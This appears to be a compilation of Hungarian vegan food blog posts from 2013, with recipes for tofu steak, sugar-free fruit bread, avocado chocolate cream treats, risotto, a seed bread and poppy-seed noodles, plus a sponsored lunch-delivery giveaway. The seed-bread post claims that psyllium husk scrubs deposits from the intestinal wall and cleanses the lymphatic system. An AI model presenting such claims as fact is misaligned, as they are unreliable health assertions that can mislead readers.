- 2 evőkanál pirított szezámolaj
- 4 teáskanál pirospaprika
- 2 teáskanál őrölt feketebors
- 2 teáskanál tápióka keményítő (kukorica keményítő is használható)
- 1 teáskanál Himalaya kristálysó vagy tengeri só
- 1/2 teáskanál friss vagy szárított oregánó
- 1/2 teáskanál friss vagy szárított kakukkfű
- 1/4 teáskanál cayenne bors
- 3 gerezd fokhagyma, felaprítva
- kevés kókuszzsír vagy napraforgó olaj
Egy tányérban/tálkában keverjük össze a szójaszószt a szezámolajjal. Egy másik tálkában pedig keverjük össze a száraz hozzávalókat: pirospaprika, feketebors, keményítő, só, oregánó, kakukkfű, cayenne bors.
A tofu szeleteket tegyük a nedves pácba és hagyjuk 5 percig állni, majd forgassuk meg a száraz pácban is úgy, hogy minden oldalukat befedje a pác.
Egy teflon serpenyőt forrósítsunk fel, majd tegyük bele a bepácolt tofu szeleteket és süssük mindkét oldalukon 2-3 percig, amíg majdnem megfeketednek. Vegyük ki, majd állítsuk takarékra a lángot, tegyünk egy kevés kókuszzsírt a serpenyőbe és pirítsuk meg a felaprított fokhagyma gerezdeket. Tálaljuk a tofu steaket pirított fokhagymával megszórva.
Jó étvágyat!
Teljes kiőrlésű gyümölcskenyér, cukormentesen
Ez a recept a Vegán Kihívás ételei között szerepelt, és már nagyon régóta el akartam készíteni. Az az egy dolog tartott vissza, hogy az alaprecept a tészta kelesztéséhez egy 'Backferment', azaz sütő ferment nevű hozzávalót írt, amit nem tudtam beszerezni. Nemrégiben viszont egy német fórumon olvastam, hogy egy lány egyszerűen sütőporral helyettesítette, így nekiugrottam én is.:) Egy igazi fehérjebomba született, amiből 1-2 szelet reggelire olyan tömény, hogy egy teljes délelőttre eltelít.:) Lehet kenni rá valamilyen magkrémet, pl. kesudió, vagy mandulakrémet, és/ vagy cukormentes pl. szilvalekvárt is. Ja, és először próbáltam ki a goji bogyót, ami magas C-vitamin tartalmával különösen előnyös télen! A gyömölcskenyér íze alig édes, az agave szirup és az aszalt gyümölcsök adják az édes ízt, ezért aki a natúr ízeket kedveli, annak nagyon fog ízleni! Egy cukormentes időszakba is jól beilleszthető! Egyetlen dolog, ami nem annyira jött be nekem benne, a puffasztott amaránt, aminek noha nagyon nagy a fehérjetartalma, viszont van az a kicsit "földes":DD jellegű utóíze, ami szerintem kiérződik belőle kicsit, és én kihagynám...:)) (bár Anyukám azt mondta, neki ez nem tűnt fel...) A töménysége miatt tényleg lassan fogyott, úgyhogy én három részre vágtam, és le is fagyasztottam belőle. Teljes kiőrlésű gyümölcskenyér, cukormentesen Hozzávalók (kb. 18 szelethez - egy 26 cm-es gyümölcskenyérformához): 550 g teljes kiőrlésű tönkölyliszt 1 cs. foszfátmentes borkő sütőpor (pl. DM-ből) kb. 400-450 ml víz 100 g aszalt vörösáfonya, nem cukrozott! (nálam mazsola) 100 g aszalt szilva 20 g goji bogyó, nem cukrozott! (vagy helyette más nem cukrozott aszalt gyümölcs) 100 g kesudió 50 g pirított mogyoró 30 g puffasztott amaránt 50 g lenmag 100 g agave szirup 1/2 tk. só Melegítsük elő a sütőt 180 fokra. Öntsünk egy tálba a lisztet és a sütőport, majd annyi vizet, hogy rugalmas, ne kemény tésztát kapjunk! Jól gyúrjuk össze! Az aszalt gyümölcsöket és a dióféléket aprítsuk fel, és az amaránttal, lenmaggal, agave sziruppal és sóval együtt keverjük bele a tésztába. Olajozzunk/ kókuszzsírral kenjünk ki vékonyan egy 26 cm-es gyümölcskenyér-formát, öntsük bele a tésztát, és kb. 60 percig süssük. Csak kihűlés után szeleteljük! Fogyasztásnál megkenhetjük natúr mogyoró-krémmel! Alapötlet: Attila Hildmann: Vegan for Fit
Karácsony és Szilveszter 2013., szemezgető:)
Hát, idén is elmúlt...:) Jó hosszú sütős-főzős időszak volt, mert a fiam szülinapja december közepén van, úgyhogy a Mikulás után mi már akkor kezdjük az ünneplést:). Szülinapi torta a suliba (idén snowboard-os, bár annyira nem volt felismerhető...:DD), aztán karácsonyi buli az oviban, majd a suliban, és utána jött még csak az igazi Karácsony.:) Sőt idén Szilveszterkor is családi vendégségbe mentünk, ahova szintén készültem. Ebben az ünneplős időszakban viszont volt néhány kifejezetten jól sikerült darab, amit már a gyerekek is többször szívesen fogyasztottak (na jó, persze az édességek voltak ezek legfőképp!:)). Lássuk, szépen sorban, mik készültek decemberben, aztán jönnek majd remélhetőleg a receptek is!:) Az Adventet ezzel a csokimázas márvány-kuglóffal indítottuk, amit a 8 éves fiam készített teljesen egyedül!:) A fehér hópelyhek és csillagok csak kókuszolajból, rizslisztből és cukorból vannak (dr. Oetker), a gyöngyökben hát ja, van némi aroma, khmkhm.. . A fiam szülinapi tortája a vegán Napfényes Cukrászatból, tej- és tojásmentes oroszkrém torta. Nekünk felnőtteknek nagyon ízlett, de a gyerekek annyira nem értékelték a a pirított mandulaszeleteket.:) Az óvodai és az iskolai Karácsonyra készültek ezek a mini muffinok, az abszolút Jolly Joker recept arra az esetre, amikor csak max. 35 percet tudunk tölteni a sütikészítéssel (a sütést és a díszítést is beleértve!:) A muffinok tésztája a sokszor bizonyított tej- és tojásmentes piskóta alap, amit ilyenkor muffinformákba kanalazok, étcsokimázzal megkenem és díszítem. A tésztát oviba - suliba úgy szoktam készíteni, hogy 50% fehér és 50% teljes kiőrlésű liszttel készítem. Az összes elfogyott!:) Fenyőmagos karfiolpástétom, egy olasz recept, kiváló előételnek Karácsonyra! Isteni finom volt!:) Reform gyümölcskenyér, ami nagyon natúr ízvilágú, teljesen cukormentes, igazi fehérjebomba! 1-2 szelet sok órára eltelít! A receptje a Vegán Kihívás receptjei között szerepelt, ITT, a 20. napnál! Az egyes számú és újból beigazolódott konklúzió, hogy mi nem vagyunk aprósütisek!...:))) Amikor Karácsony előtt beindul mindenhol a neten az aprósüti-dömping, meg vagyok győződve róla, hogy ezt imádjuk (om?:), ezért nekiállok. Aztán néhány darab után mégsem fogy, csak ott áll...:DDD Az idei próbálkozások közül viszont a mini islert megtartjuk, annak volt a legnagyobb sikere, és a gyerekek imádták csokiba mártogatni a linzer karikákat, könyékig elmerülve a csokiban...:)))) A linzerkarikákhoz az alaprecept a szokásos volt, 4 cm átmérőjű pogácsaszaggatóval szaggattuk, aztán házi baracklekvárral összeragasztottuk és végül csokiba mártottuk. A tányéron balról-jobbra van egy lekváros-darált diós csiga (még az volt a második legfinomabb), sima kis karikák, az isler, és mandulás-omlós kiflik. December 24-én ebédre: - kókusztejes kukoricakrémleves volt, nagyon finom, megtartjuk!:) - utána pedig a szokásos mákos guba. Szenteste a vegán verzió a vacsorán belül volt Kata kesudiósültje, ami továbbra is isteni finom, imába foglalom érte mindig a nevét!:)) Mellé köretnek céklamártás és agave szirupos, fűszeres sütőtök. Mmmmmmmm.....!:)) December 25-én pedig Anyukám készítette a vegán töltött káposztát. Desszertnek ugyancsak Kata rakott, vaníliapudingos, rizstejszínhabos piskótája készült, és a szokásos mézes krémes. Szilveszterkor vendégségbe mentünk, ahova a legtutibb hozzájárulásunk ez a vegán almás krémes volt!:) Az év legszuperebb felfedezése-ízvilága sütiben a számomra!:) Recept hamarosan!:) Ezen kívül vittem: - paradicsomos vöröslencsekrémet - csicseripástétomot - fűszeres magokat.
Mandarinos holdacskák
Hogyan kerül ebbe a mandarinos- csokis-kekszes süteménybe avokádó? Az emberek nagy része ezt nehezen tudja elképzelni, vagy egyáltalán társítani. A következőkben elárulom ennek titkát.
Csak óvatosan, mert függővé válhatsz! :)
A tészta receptje:
Hozzávalók:
1/2 kg darált keksz
10 dkg kókuszreszelék
növényi tejpor
víz
mandarin
Elkészítés:
A tejporból és vízből kb. 3-4 dl növényi tejet készítünk. (Persze, ha nem sietős, nem tejporos növényi tejet is készíthetünk, "igazi" hozzávalókból - pl. kókusztejet , diótejet ) A megdarált kekszet felöntjük a tejjel, majd az egészből egy nagy gömböcöt, egy golyót gyúrunk. Mivel a keksz édes, a tejpor szintén édes, így nem gondolom, hogy szükséges tovább édesíteni. Kókusszal megszórt deszkán kinyújtjuk, elkenjük rajta a krémet (recept lásd lentebb) és kis pogácsaszaggatóval félholdakat szaggatunk a tésztából. A félholdacskák tetejére pedig mandaringerezdeket teszünk.
Következzen az avokádó-titok:
A csokikrém receptje:
Hozzávalók:
- 1,5-2 db érett nagy avokádó (én másfél darabbal dolgoztam)
- 5 dkg kakaópor (kevesebb karobbal is készíthető!)
- 5 dkg kókuszolaj
- 10 dkg édesítőszer, pl: nádcukor, nyírfacukor, méz, stb, ki mit használ
- 1 csipet tengeri só
- 1/2 vanília kikapart belseje vagy 1 teáskanál vanília esszencia
Elkészítés:
Vegyük elő a turmixgépet és a fentieket mindet, ebben a sorrendben tegyük bele. Indítsuk el, és hamarosan látni fogjuk hogy milyen fantasztikus krémet kapunk végeredményne k. Olyan krémet, mint a csokitorták csokikrémje. Ha lágyabb krémet szeretnénk, pár csepp vízzel vagy növényi tejjel krémesebb lesz. A kész krémet kb. 1/2 órára érdemes hűtőbe tenni, megdermedés után jobban használható. Amíg dermed a krém, van időnk elkészíteni a kekszből a tésztát a fentiek alapján, és/vagy mandarinokat pucolni, gerezdekre szedni. Férjem ezt a süteményt vitte munkahelyére a közös karácsonyozásra. Nagy sikere volt, gyorsan el is fogyott. Nem csak karácsonyra, hanem pl. szilveszterre is kitűnő, dekoratív és finom falatok.
Persze a recept átalakítható egészségesebb formára, ha keksz helyett zabpelyhet darálunk (ekkor édesíteni kell), a csokikrémet pedig karobbal készítjük. Ehhez hasonlóan jártam el ennél a receptemnél.
Narancsos csokis korongok (glutén, tej, tojás, cukormentes, majdnem teljesen nyers)
Teljesen elaléltam. Sok helyen olvastam már, hogy avokádóból lehet csokikrémet készíteni süteményhez, de mindig kicsit hitetlenkedő voltam. Itt kószált az agyamba, hogy ki kell próbálni. Hetek óta újra és újra vettem az avokádót (kilóárban egy piacon), de mindig kenyérrel és zöldséggel fogyott el. Egyszerűen nem hagyott akkor sem nyugodni. Kellett valami alkalmas idő, amikor lendületben vagyok, amikor a kíváncsiságom a tető fokára hágott, amikor az alkalom is hozta magával, hogy süteményt készítsek. Nos a héten mindez összeállt. Minap korábban hazaértem. Egyedül voltam, konyha rendben. Még jó néhány kilométerre voltam, de a gondolataim már szinte valóságban éltek, ahogy elképzeltem, igen, most elkészítem, itt az idő! Pillanatok alatt kész lett a turmixgéppel. Azonnal hívtam a férjemet és nem is tudtam teljesen szavakba önteni azt a mámort, amit átéltem! Van egészséges(ebb) csokikrém! Igen, margarin és vaj nélkül is lehet készíteni, de még milyet! Olyan finomat, amilyet korábban margarinnal vagy vajjal nem tudtam reprodukálni. ÓÓÓÓÓ!!! Egyszerűen úgy feldobott az élmény. Viszem is az évzáró együttlétre, ami ma este lesz. Persze a krém nem áll meg magában, készítettem hozzá kis tallér féléket, és az egészet naranccsal spéciztem fel. Így ni:
A korongok receptje:
Hozzávalók:
1/2 kg darált zabpehely
15-20 dkg kókuszreszelék
növényi tejpor
víz
édesítőszer (gyümölcscukor, xilit, méz, nyírfacukor, barnacukor - ki mit használ)
Elkészítés:
A tejporból és vízből kb. 3-4 dl növényi tejet készítünk. (Persze, ha nem sietős, nem tejporos növényi tejet is készíthetünk, "igazi" hozzávalókból - pl. kókusztejet.) A megdarált zabpelyhet és kókuszreszeléket egy tálban összekeverjük, édesítjük ízlésünknek megfelelően és annyi tejet öntünk rá, hogy az egészből egy nagy gömböcöt, egy golyót tudjunk gyúrni. Kókusszal megszórt deszkán kinyújtjuk és kis pogácsaszaggatóval kiszaggatjuk a tésztát. A tetejére pedig krémet fogunk tenni.
A csokikrém receptje:
Hozzávalók:
- 1,5-2 db érett nagy avokádó (én másfél darabbal dolgoztam)
- 2 dkg karobpor (kakaóval is készíthető - lesz majd ilyen receptem is!)
- 1 narancs reszelt héja
- 1 narancs felének a leve
- 1 narancs cikkekre vágva
- 5 dkg kókuszolaj
- 10 dkg aszalt datolya - kimérés után nagyon kevés meleg vízben áztathatjuk (helyettesíthető más édesítőszerrel, pl: nádcukorral, nyírfacukorral, mézzel, ki mit használ.)
- 1 csipet tengeri só
Elkészítés:
Vegyük elő a turmixgépet és a fentieket mindet, ebben a sorrendben tedd bele. Indítsuk el, és hamarosan látni fogjuk hogy milyen fantasztikus krémet kapunk végeredménynek. Olyan krémet, mint a csokitorták csokikrémje. Na már most, ha hígabb krémet szeretnénk, adhatunk hozzá egy kevés vizet és így turmixoljuk. Ennél a sütinél én lágyabb krémet készítettem. A kész krémet habzsákba, vagy egyszerű zacsiba kanalazzuk és mehet a korongok "krémezése". Ha nem habzsákkal dolgozunk, a zacsi egyik sarkát egyszerűen levágjuk és kisebb nyomásra kunkorodik is a zsákból a krém. A krém tetejére egy-egy narancscikket teszünk. Hűtőben tároljuk tálalásig.
Ha gyors, egészséges sütit készítenél karácsonyra, ne habozz, válaszd ezt, ha csokikedvelő vagy, nem fogod megbánni. Ha nem vagy még "karobpárti", akkor készítsd kakaóval, s tényleg nagyon finom "csodában" lesz részed.
Sűrűbb csokimassza:
Hígabb csokimassza:
Zöld rizottó
Nemrégiben már készítettem vörös rizottót, most a zöld szín volt a sztár. Zöld a borsó, a brokkoli, a cukkini és az uborka is. Mindegyik nagyon egészséges. Ez a rizottó annyira jól sikerült és megkedveltük, hogy azóta már újból elkészítettem. Aránylag gyorsan el is készíthető. Ráadásul laktat, és nem lesz fogyasztása után egyhamar éhes az ember. Ezt az ételt gluténmentes diétát folytatók is fogyaszthatják.
A recept:
Hozzávalók:
1 cukkini
1/2 brokkoli
1 kígyó uborka vagy 4-5 kovászolni való uborka
1 bögre zöldborsó
2 marék rizs (nálam barna a nyerő)
só
3-4 gerezd fokhagyma
kurkuma (elhagyható)
házi ételízesítő (só is jó helyette)
sörélesztő-pehely (opcionális)
Elkészítés:
Az alaplevet a rizottóhoz egyszerűen elkészítjük: A fokhagymákat kisebb darabokra vágjuk, sót és kurkumát adunk hozzá (ez festi sárgára, de használhatunk helyette sáfrányt is, vagy el is hagyhatjuk, mint én legutóbb), ezt rövid idő alatt összefőzzük kb. 3-4 dl vízzel. (Épp, hogy kicsit forrjon.) Míg felforr, a rizst átmossuk, megpirítjuk (teflon bevonat esetén nem kell olaj, vagy kókuszzsír). Ezt követően az alaplével felöntjük a rizst. Míg a rizs fő, a zöldségeket felaprítjuk és az egészet együtt egy kevés vízen, némi sóval vagy ételízesítővel megpároljuk, s közben összenyomott fokhagymát adunk hozzá. Amikor a rizs és a zöldségek már elég puhák, az utolsó 10 perc főzésre összekeverjük a zöldséget a rizzsel. Amennyiben szükséges, sózhatjuk még. Tálalásnál sörélesztő-pehellyel kínálva még ízletesebbé tehetjük, olyasmi íze lesz tőle, mintha parmezánnal szórtuk volna meg.
Aki szereti a csípős ízt, egy kevés csípős paprikakrémet csepegtethet a tetejére. (Férjem így szereti.)
Szilvalekváros (diós, mákos) kifli
2013. december 9. Mindennapi ételeink
Hagyományos téli, karácsonyi sütemény, "új köntösben". :-) Hozzávalók: 50 dkg teljes őrlésű liszt 40 dkg finomliszt 10 dkg durumliszt 20 dkg lágy (megolvasztott) kókuszzsír 5 dkg élesztő 5 dl növényi tej 15 dkg barna nádcukor 1 citrom héja 1 tk. himalaya só -- szilvalekvár / dió/ mák Elkészítés: A tésztához a liszteket egy tálba szitáljuk. Belemorzsoljuk az élesztőt, és a többi hozzávalóval együtt eldolgozzuk. Lisztezett deszkára borítjuk és alaposan összedolgozzuk. Letakarva langyos helyen kb. 30 percet pihentetjük. A tésztát 6 részre osztjuk. egyenként kinyújtjuk, majd átlósan 8 háromszög alakú cikkre vágjuk. és a vastagabb végüknél megtöltjük a töltelékkel (mákos, diós tölteléknél a tölteléket előtte növényi tejjel és barna nádcukorral főzzük össze). Felcsavarjuk és sütőpapírral bélelt tepsibe tesszük, 30 percig pihentetjük, majd 200 fokos sütőben 30 perc alatt kisütjük.
Vegetáriánus ebéd egy héten át + Nyereményjáték
2013. december 7. Zizi kalandjai
Roston sült házisajt mustáros paradicsomszószban, rozmaringos tepsis burgonya
Néhány hete I. átküldött nekem egy linket egy új vegetáriánus étel kiszállító cégről. Megnéztem a menüjüket, jónak tűnt és láttam, hogy a mi kerületünkbe ingyen szállítanak ebédet. Megörültem, mert kevés vegetáriánus étel kiszállító cég van, akik szinte az összes kerületbe ingyen szállítanak. Igen, néha panaszkodom I.-nek, hogy milyen jó lenne többet rendelni ebédet, mert tényleg bizonyos esetekben kivitelezhetetlen a főzés egy 7 hónapos bogyó mellett! Mások, hogy csinálják, akiknek három is van?! Ha tapasztalatod van, feltétlen írd meg nekem!
Szóval felvettem a kapcsolatot a céggel, váltottunk néhány emailt és végül lehetőséget kaptam, hogy teszteljem az ebédjeiket egy héten át. Micsoda fantasztikus, igaz? De várjátok ki a végét, mert ti is jól járhattok!
VegaLife… egy igazán új csapatról van szó, akik 2013 júliusában indították el a vállalkozásukat. Tizenketten dolgoznak a csapatban és kb. 400-500 adag ételt főznek naponta és Budapest tizenöt kerületébe ingyen szállítják ki az ebédet. Ami a választékot illeti vannak levesek, indiai, nemzetközi, low carb, PH ételek, valamint séf kedvence, csemegék, mártások, saláták, desszertek és italok. Tojást nem használnak, tejterméket igen (ez fel van tüntetve a menüben!), tehát a fogások lakto vegetáriánusok vagy vegánok. Az alapanyagok minőségére a lehetőségekhez képest figyelnek, a tofut biztos forrásból szerzik be (nem génkezelt szójából készül!), a házi sajtjuk pedig házi tejből készül.
Paradicsomos csicseriragu, spenótos fasírtrolád
Igyekeztem minél többféle ételt megkóstolni, hogy legyen tapasztalatom az ízeket, minőséget illetően. A kedvenceim a levesek lettek, egytől egyig mind finom volt (korhelyleves, spenótkrémleves sajtgombóccal, kókusztejes vadrizsleves, kuszkuszos zöldségleves és jókai bableves). A főételek közül próbáltam grillezett tofut zöldségraguval, erdélyi töltött káposztát, karfiol pörköltet póréhagymás fekete rizzsel, négysajtos tésztát. Ízletesek, kellően fűszerezettek voltak és nem voltak nagyon sósak. Nagyon vártam a tofuszeletet vadas szószban tönkölytésztával. Finom is volt, de én a szószt még krémesebbre készítettem volna.
Nagyon jó uzsonnák lehetnek délutánra a különböző zöldségfasírtok, amelyek csemege névvel jelennek meg a menüben. Próbáltam a hagymás batyut és a céklás zöldségfasírtot. Nem voltak olajosak, a fűszerezésük kiváló volt, szóval jó éhségűzők délutánra, ha valamit már nagyon szeretnénk bekapni. A desszertek közül kettőt próbáltam, a répatorta ízlett, a mandulás krémes is rendben volt, de számomra túl édes.
Hagymás batyu
A főfogások közül néhány esetben fél adagot rendeltem és levessel együtt laktató volt, szóval a teljes adag egy nagy étvágyú férfit is jóllakat!
Mindenképpen pozitív a tapasztalatom a VegaLife-fal kapcsolatban és szeretettel ajánlom kipróbálásra. Az egyedüli problémám csak az, hogy egy hét alatt elég nagy mennyiségű szemét halmozódott fel a dobozok és csomagolás miatt (jelzem, hogy ez nem feltételnül a cég hibája). Tervezik is, hogy egyszer áttérnek egy környezetbarátabb csomagolásra, amint a lehetőségeik majd engedni fogják.
A Vegalife elérhető az alábbi linkeken:
- weboldal
- Facebook oldal
*****
NYEREMÉNYJÁTÉK!
Nyeremény : három nyertes egy héten át 7000-7000 Ft értékben rendelhet ebédet a VegaLife-tól!
Menjetek fel a VegaLife oldalára és írjátok meg ide kommentben, hogy az 50. heti menüből melyik ételt próbálnátok ki szívesen! Kérem, hogy az alábbi formula minden pontját töltsétek ki (játszhattok extra pontokért is)!
a Rafflecopter giveaway
Szabályok : 2013. december 11-ig lehet játszani. Eredményhirdetés 2013. december 12-én. A három nyertest emailben fogom értesíteni, majd a nevük kikerül a blogra (ez a bejegyzés fog frissülni) és a Zizi kalandjai Facebook oldalára is. Fontos, hogy olyanok játsszanak, akik Budapest alábbi kerületeibe tudják rendelni az ebédeket (ide szállít ki a VegaLife): I., II., III., IV., V., VI., VII., VIII., IX., X., XI., XII., XIII., XIV. és a XV. !!!
Krémes torta
Az alapötlet ez a finomság volt: https://www.facebook.com/photo.php?fbid=251286281687110&set=a.251286241687114.1073741837.208119879337084&type=1&theater Pici módosításokkal a pitéből torta lett a ma esti baráti teázáshoz Hozzávalók Tészta: 2 csésze dió 8 szem áztatott datolya csipet só (opcionális) Pite töltelékhez: 1/4 sütőtök, hámozott, magozott és kockára vágott (6-7 csésze) (kertemben termett) 1/4 csésze olvasztott kókusz olaj 2 evőkanál méz 1 evőkanál kókuszvirág cukor […]
Fűszeres-bundás sárgarépagolyók
2013. november 24. Mindennapi ételeink
A zöldségek bundában történő kisütése remek alkalom arra, hogy a "nemszeretem zöldségeket" megetessük gyermekünkkel. Nos, ez a recept is ilyen :-) Hozzávalók: 15 db előre csomagolt sárgarépagolyó vagy 4 nagyobb sárgarépa 25 dkg durumliszt kb. 1,5 dl víz 15 dkg teljes őrlésű kenyérmorzsa 5-10 dkg kókuszolaj a sütéshez 1 csokor petrezselyem 3-4 ek. ételízesítő mix 2 ek. folyékony fűszer 2-3 tk. himalaya só Elkészítés: A sárgarépa golyókat megmossuk, ill. a sárgarépát meghámozzuk és kisebb golyókat vájunk belőlük. Egy tálba teszünk 10 dkg durumlisztet, egy másik tálba a maradék durumlisztet összekeverünk vízzel, ételízesítő mix-szel, sóval, folyékony fűszerrel és az apróra vágott petrezselyemzölddel. A harmadik tálba a zsemlemorzsát szórjuk. A répákat bepanírozzuk, előbb a lisztbe, majd az összekevert "tojáspótló"-ba, legvégül a morzsába. Kókuszolajjal kikent tepsibe téve 170-180 fokon kisütjük a zöldségeket. Tipp: Bármilyen más zöldséggel is kiváló, pl. karalábéval, zellerrel, cukkinivel stb.
Badhakopi tarkari - bengáli káposzta-krumpli-zöldborsó sabji
Hozzávalók: 3 ek kókuszzsír 2 kk római kömény 1 indiai zöld chili apróra vágva (ízlés szerint) 1 ek reszelt friss gyömbér 2 kk őrölt római kömény 1,5 kk őrölt koriander 1/2 kk kurkuma 2 közepes krumpli 60 dkg káposzta 20 dkg zöldborsó 1 nagyobb paradicsom 1/2 kk garam masala 2 kk só A zöldborsót... tovább>>
Ropogós, magvakkal teli kenyér (liszt- és élesztőmentes)
2013. november 16. Zizi kalandjai
Végre sütöttem valamit! Az utóbbi időben ilyen ritkán fordult elő! Használom a sütőt, de többnyire sütőtököt készítek. Igaz a héten megint bekapcsoltam, készítettem egy tepsi rakott sütőtököt, ami a hűtőben lévő maradékokból lett összedobva és mint mindig, az ilyen ételek a legsikeresebbek és legfinomabbak. Igaz?
Ez a kenyér nem olyan, mint a többi. Ez más. Egy újfajta dimenzióba repít… elkészíteni végtelen egyszerű, a “tésztáját” összedobni kb. 2 perc, aztán igaz hagyjuk pihenni néhány órát vagy egy éjszakát, de semmi dolgunk nincsen vele, csak berakjuk a sütőbe, várunk kb. 30-40 percet és kész is a csoda. A kenyér.
És, hogy miből áll? Van benne napraforgómag, mandula, lenmag, chia mag, zabpehely, egy kis juharszirup, kókuszolaj, só és egy különleges – nekem újdonságnak számító – alapanyag: útifű maghéj. Ez is egy superfood, vagyis szuper élelmiszer, sok-sok olyan tulajdonsággal, amelyek kedvezően hatnak a szervezetünkre.
Elsőként említendő 85%-os (!!!) rosttartalma, amely elősegíti a bélfalon található lerakódásokat kipucolni a szervezetünkből, ha kúraszerűen fogyasztjuk. Ezenkívül csökkenti a koleszterin- és vércukorszintet, tisztítja a nyirokrendszert, enyhíti a fáradtságot, valamint segít székrekedéses panaszok esetén is. Vegetáriánus zselésítő anyagként is használható (hasonlóan a lenmaghoz és a chia maghoz) állati zselatin helyett. Még több információ erről a fantasztikus szerről itt, ahol megtalálhatjátok az is, hogy hogyan alkalmazzuk kúraszerűen (néhány recept itt, egy videó pedig itt).
Ha sikerül beszereznetek ezt az alapanyagot (online vagy bio boltokban, reformboltokban keressétek) feltétlen próbáljátok ki ezt a kenyeret, ami egyébként rendkívül “elfoglalt anyuka barát” verzió. Azt hiszem, az, hogy úgy süthetünk kenyeret, hogy 2 percig tart előkészíteni, mindenképpen fontos a ma rohanó emberének. A recept Sarah-tól van, aki egy barátnőjétől tanulta. Olyan igazi skandináv, sötét, enyhén édeskés kenyér. Legközelebb én egy kicsivel több sót fogok beletenni, hogy egy picit elvegyek az édeskés ízéből. Simán sütve is kiváló, azonban pirítva, házi kesudióvajjal és anyukám cukormentes szilvalekvárjával megkenve, igazi energiabomba reggelinek számít.
Ropogós magvakkal teli kenyér (liszt- és élesztőmentes)
Hozzávalók:
- 1 bögre napraforgómag
- 1/2 bögre lenmag
- 1/2 bögre mandula (vagy törökmogyoró)
- 1 és 1/2 bögre zabpehely
- 4 evőkanál útifű maghéj
- 2 evőkanál chia mag
- 1 teáskanál só
- 1 evőkanál juharszirup
- 3 evőkanál kókuszolaj (olvasztva)
- 1 és 1/2 bögre víz
(A recepthez használt bögre 250 ml-es.)
Lehetőleg egy szilikon kenyérformát (például ilyet) használjunk, amelyből könnyű kifordítani a kenyeret és nem kell kikenni, kibélelni semmivel.
A szilikon formában keverjük össze a száraz hozzávalókat: napraforgómag, lenmag, mandula, zabpehely, útifű maghéj, chia mag és só. Egy tálkában keverjük össze a vizet, a juharszirupot és a kókuszolajat (figyeljünk rá, hogy a víz ne legyen nagyon hideg, hogy a kókuszolaj ne kezdjen el megszilárdulni). Ezt a nedves keveréket öntsük a szilikon formába és kanállal jól keverjük el, hogy a száraz hozzávalókat mindenhol befedje a nedves keverék. Ilyenkor adhatunk még hozzá 1-2 teáskanál vizet, de egyesével adagolva, hogy tényleg nedves legyen a “kenyértészta” (nekem szükség volt még néhány teáskanálnyi vízre, hogy jól összeálljon). A kanállal szépen simítsuk, lapítsuk le a tetejét és hagyjuk a konyhapulton állni legalább 2 órát vagy egy éjszakát (én az utóbbit javaslom, ha így járunk el, akkor takarjuk le egy konyharuhával).
Melegítsük elő a sütőt 175 fokra. Tegyük a szilikon formát a sütőbe, középre a rácsra. Süssük 20 percig. Ekkor vegyük ki és óvatosan, kesztyű segítségével fordítsuk ki a kenyeret a formából és fejjel lefelé tegyük vissza a sütőbe, közvetlenül a rácsra és süssük kb. 40 percig. Akkor jó, ha enyhén megütögetjük egy kanállal és üreges hangot hallunk.
Várjuk meg, amíg teljesen kihűl, csak utána szeleteljük. Dobozban tárolva 4-5 napig eláll, de nem fog addig kitartani!
Mákos nudli
2013. november 13. Fittanyuka Blog
Ezzel a recepttel nyitottam is egy olyan címkét, hogy: Gyerek menü:)! Mi, anyák tudjuk, hogy milyen ételek igazán a kicsik gyengéik: minden ami édes:)! Az én kislányom lelkes gyerek, megissza a zöld leveket amiket mixelek neki, eszi a salátákat, de tudom, hogy igazából az ilyen és ehhez hasonló ételekkel tudok a kedvébe járni, mint ez a mákos nudli. Általában hétvégén palacsinta napot tartunk, vagy gombóc napot, akkor kerül terítékre a rizs tejes tejbegríz és most legutóbb ez a könnyen elkészíthető nudli. Tipp: Az édes ízekről nem kell eltiltanunk a gyerekeket, ez lehetetlen is lenne, hanem arra tudunk figyelni, hogy mivel édesítünk és milyen alapanyagokból készítjük ezeket a fogásokat. Ebben az esetben a tönköly liszt értékes növényi fehérje forrás, összetett szénhidrátokat tartalmaz, a xilit nem bántja a fogakat, nem savasítja a szervezetet, a mák pedig kálcium bomba a növésben lévő csontoknak! Hozzávalók: ( 4 főre) 500 g krumpli 225 g világos tönköly liszt 2 evőkanál tönköly dara 2 evőkanál kókusz olaj csipet himalaya só 2 l víz 200 g darált mák 100 g xilit porrá darálva A krumplit héjastól megfőzzük. Miután hűlt egy keveset, lehéjazzuk és krumpli nyomón átnyomjuk, vagy sajt reszelőn lereszeljük. Hozzáadjuk a lisztet, darát, olajat, sót és összegyúrjuk. Addig gyúrjuk, míg jól formázható tésztát kapunk. Lisztezett deszkán hosszú nudlikat sodrunk és késsel 1 cm-es vastagságúra daraboljuk. Közben a vizet odatesszük főni és amikor lobog a nudlikat beledobjuk. Akkor vannak megfőve amikor feljönnek a víz tetejére. Szűrőbe szedjük és átöblítjük hideg vízzel, lecsöpögtetjük. Meghempergetjük a darált mákban és tálaláskor megszórjuk a xilittel. Fittanyuka
Vadászat a vörös rizottóra
Több, mint tízezer halálos áldozat, mintegy százezer hajléktalan, az alapellátás kritikusan teljesíthető, élelem- és vízhiány jellemzik a Magellán által 1521-ben felfedezett szigetcsoportot napjainkban. Az elmúlt 72 órában a világ szeme Fülöp-szigetekre összpontosult, ahol a Haiyan tájfun elképzelhetetlen pusztítást okozott. Becslések szerint, legalább 4 millió lakost érintett a természet erőinek rombolása. Arról nem találok semmi tájékoztatást, hogy mi lett a rizsföldekkel, rizsteraszokkal, amelyek a világörökség részéhez tartoznak az Ifugao-hegység -ben.
Kamaszkoromból egy régi ismerősöm észak-Magyarországról, egy fülöp-szigeteki lányt vett el. Szerencsére ma már családjával együtt Shanghaj-ban élnek rövid ideje. Ők minden bizonnyal közelebbről is ismerik a rizsföldeket, a rizstermesztés csinnyát-binnyát, Fülöp-szigeteken eltöltött éveknek köszönhetően.
"A világ rizstermésének mintegy fele olyan földekről származik, amelyeket teljes egészében kézi erővel művelnek meg. A rizsföldekre 4 hetes előnevelt rizspalántákat ültetnek ki. A rizs ezután 90-260 napig növekszik, majd a virágzást követően 30 nappal érnek be a szár csúcsán hosszú ágú bugában fejlődő szemtermései. Az ázsiai hagyományos művelés során az asszonyok ültetik és gyomlálják a rizst, a férfiak pedig a talaj előkészítést és az elárasztással kapcsolatos munkákat végzik. A rizsföldek ideális igaállata a vízibivaly volt - sőt még a mai napig is az, egyrészt kiváló igavonó állat, másrészt trágyázza a földeket." (Ötven növény, amely megváltoztatta a történelmet)
